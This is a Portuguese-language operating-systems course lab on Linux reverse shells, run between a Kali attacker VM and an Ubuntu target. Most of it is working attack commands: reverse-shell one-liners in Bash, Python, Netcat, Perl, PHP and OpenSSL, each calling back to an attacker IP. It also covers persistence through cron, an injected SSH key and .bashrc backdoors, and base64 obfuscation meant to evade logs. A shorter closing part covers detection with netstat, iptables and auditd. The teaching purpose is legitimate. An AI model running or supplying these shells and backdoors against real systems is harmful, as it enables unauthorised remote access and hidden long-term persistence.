Pular para o conteúdo principal

Lab 9.2: Reverse Shell Linux

Objetivos de Aprendizagem​

Ao final deste laboratório, você será capaz de:

  • Criar reverse shells Linux com diferentes técnicas
  • Utilizar Bash, Python, Netcat para estabelecer shells
  • Estabilizar um shell básico em um shell TTY completo
  • Compreender os one-liners de reverse shell
  • Estabelecer persistência com reverse shells
  • Detectar e bloquear reverse shells Linux
  • Entender as diferenças entre shells Linux e Windows

Duração Estimada​

30 minutos

Pré-requisitos​

  • 2 VMs: Kali Linux (atacante) + Ubuntu/Debian (alvo)
  • Rede interna configurada
  • Compreensão do Lab 3.2 (Reverse Shell Windows)
  • Lab 9.1 (escalonamento de privilégio Linux) concluído

Contexto Profissional​

Os reverse shells Linux são usados por:

  • Pentesters após exploração inicial (web shell, SSH comprometido)
  • Malwares Linux para comunicação C2
  • Grupos APT para manutenção de acesso de longo prazo
  • Red Teams para simulações de ataques

Usado após:

  • Exploração de vulnerabilidade web (RCE)
  • Exploração de serviço Linux
  • Sucesso em brute force SSH
  • Credential stuffing

Estabelecer um reverse shell em um sistema sem autorização = Acesso não autorizado.

AUTORIZADO:

  • VMs de laboratório isoladas
  • Testes autorizados com contrato
  • Plataformas legais (HTB, THM)

PROIBIDO:

  • Servidores reais sem permissão
  • Manter acesso não autorizado

Consequências: Crime informático (Código Penal art. 342.1).

Parte 1: Reverse Shell Bash​

One-Liner Clássico​

Na VM Atacante (Kali), escute:

nc -lvnp 4444

Na VM Vítima (Ubuntu), execute:

bash -i >& /dev/tcp/192.168.100.10/4444 0>&1

Explicação detalhada:

bash -i              # Shell interativo
>&                   # Redirecionamento stdout e stderr
/dev/tcp/IP/PORT     # Dispositivo especial bash para conexões TCP
0>&1                 # Redirecionamento stdin

BOOM! Conexão estabelecida!

No Kali, você vê:

listening on [any] 4444 ...
connect to [192.168.100.10] from (UNKNOWN) [192.168.100.20] 54321
user@target:~$

Shell completo da vítima!

Perguntas:

  1. A conexão reverse shell foi estabelecida?
  2. Qual a diferença para o reverse shell Windows?

Parte 2: Variações de Reverse Shells​

Python Reverse Shell​

Versão Python 2:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.100.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

Versão Python 3:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.100.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Vantagem: Funciona mesmo se /dev/tcp não estiver disponível

Netcat Reverse Shell​

Se netcat disponível no alvo:

nc 192.168.100.10 4444 -e /bin/bash

Se nc sem opção -e (versão BSD):

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.100.10 4444 >/tmp/f

Perl Reverse Shell​

perl -e 'use Socket;$i="192.168.100.10";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

PHP Reverse Shell​

Se PHP disponível:

php -r '$sock=fsockopen("192.168.100.10",4444);exec("/bin/bash -i <&3 >&3 2>&3");'

Perguntas: 3. Qual método funciona no seu sistema alvo? 4. Qual você prefere e por quê?

Parte 3: Estabilização do Shell​

Problema dos Shells Básicos​

Shell básico tem limitações:

  • Sem autocompletar (Tab)
  • Sem histórico (setas cima/baixo)
  • Sem limpar tela (Ctrl+L)
  • Ctrl+C mata o shell
  • vi/nano não funcionam

Método 1: Python PTY​

No reverse shell, execute:

python3 -c 'import pty; pty.spawn("/bin/bash")'

OU:

python -c 'import pty; pty.spawn("/bin/bash")'

Resultado: Shell interativo básico

Depois, para shell COMPLETO:

# No shell
export TERM=xterm

# Depois, pressione Ctrl+Z (coloca em background)

Na sua máquina atacante (Kali):

stty raw -echo; fg

Depois pressione Enter 2 vezes

BOOM! Shell TTY completo!

Teste:

  • Tab para autocompletar
  • Setas para histórico
  • Ctrl+L para limpar
  • vi/nano funcionam!

Método 2: Script Command​

script /dev/null -c bash

Shell interativo imediato!

Método 3: Expect​

expect -c 'spawn bash; interact'

Perguntas: 5. Você conseguiu estabilizar o shell? 6. Quais funcionalidades funcionam agora?

Parte 4: Persistência Linux​

Cron Job para Reconexão Automática​

Criar script de reconexão:

echo '#!/bin/bash' > /tmp/reverse.sh
echo 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1' >> /tmp/reverse.sh
chmod +x /tmp/reverse.sh

Adicionar ao crontab:

(crontab -l 2>/dev/null; echo "* * * * * /tmp/reverse.sh") | crontab -

Execução: A cada minuto!

Verificar:

crontab -l

SSH Key Backdoor​

Adicionar sua chave SSH:

mkdir -p /home/user/.ssh
echo "ssh-rsa AAAA... sua_chave_publica" >> /home/user/.ssh/authorized_keys
chmod 600 /home/user/.ssh/authorized_keys

Conexão futura:

ssh user@192.168.100.20

Acesso permanente sem senha!

Bashrc Backdoor​

Adicionar ao .bashrc:

echo 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1 &' >> /home/user/.bashrc

Toda vez que o usuário abre um terminal: Reverse shell!

Perguntas: 7. A persistência via cron está funcionando? 8. Como detectar esses backdoors?

Parte 5: Criptografia e Ofuscação​

Reverse Shell Criptografado​

Com OpenSSL:

Atacante (escuta com SSL):

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444

Vítima (conexão SSL):

mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.100.10:4444 > /tmp/s; rm /tmp/s

Comunicação criptografada! IDS/IPS mais difícil de detectar.

Ofuscação Base64​

Codificar o payload:

echo 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1' | base64

Resultado:

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMC80NDQ0IDA+JjEK

Execução:

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMC80NDQ0IDA+JjEK | base64 -d | bash

Menos suspeito nos logs!

Perguntas: 9. O shell criptografado funcionou? 10. Por que a ofuscação é útil?

Parte 6: Detecção e Defesa​

Detectar Conexões de Saída​

Listar conexões ativas:

netstat -antup | grep ESTABLISHED
ss -tunap
lsof -i

Procurar bash/sh com conexões de rede:

ps aux | grep bash
lsof -i -a -c bash

Se bash tem conexão TCP de saída: Suspeito!

Bloquear com iptables​

Bloquear conexões de saída exceto autorizadas:

iptables -P OUTPUT DROP
iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

Reverse shells bloqueados!

Monitoramento com auditd​

Monitorar execução de bash:

auditctl -a always,exit -F arch=b64 -S execve -F path=/bin/bash

Logs em: /var/log/audit/audit.log

Perguntas: 11. Você detectou o reverse shell com netstat? 12. O iptables bloqueou a conexão?

Entregáveis​

  1. Relatório com diferentes métodos de reverse shell testados
  2. Shell estabilizado e funcional
  3. Persistência configurada e testada
  4. Detecção e bloqueio demonstrados

Comandos de Referência​

Reverse Shells​

# Bash
bash -i >& /dev/tcp/IP/PORT 0>&1

# Python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# Netcat
nc IP PORT -e /bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc IP PORT >/tmp/f

Estabilização​

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg

Persistência​

(crontab -l; echo "* * * * * /tmp/reverse.sh") | crontab -
echo 'chave_ssh' >> ~/.ssh/authorized_keys
echo 'payload' >> ~/.bashrc

Conclusão​

Técnicas dominadas:

  • Reverse shells Linux por múltiplos métodos
  • Estabilização TTY completa
  • Persistência via cron, SSH, bashrc
  • Criptografia e ofuscação
  • Detecção e defesa

Diferenças Linux vs Windows:

  • Linux: Mais métodos nativos (bash, python pré-instalados)
  • Estabilização mais fácil (PTY)
  • Detecção similar (netstat, monitoramento)

Lab desenvolvido no âmbito do curso Sistemas Operacionais - MÓDULO 9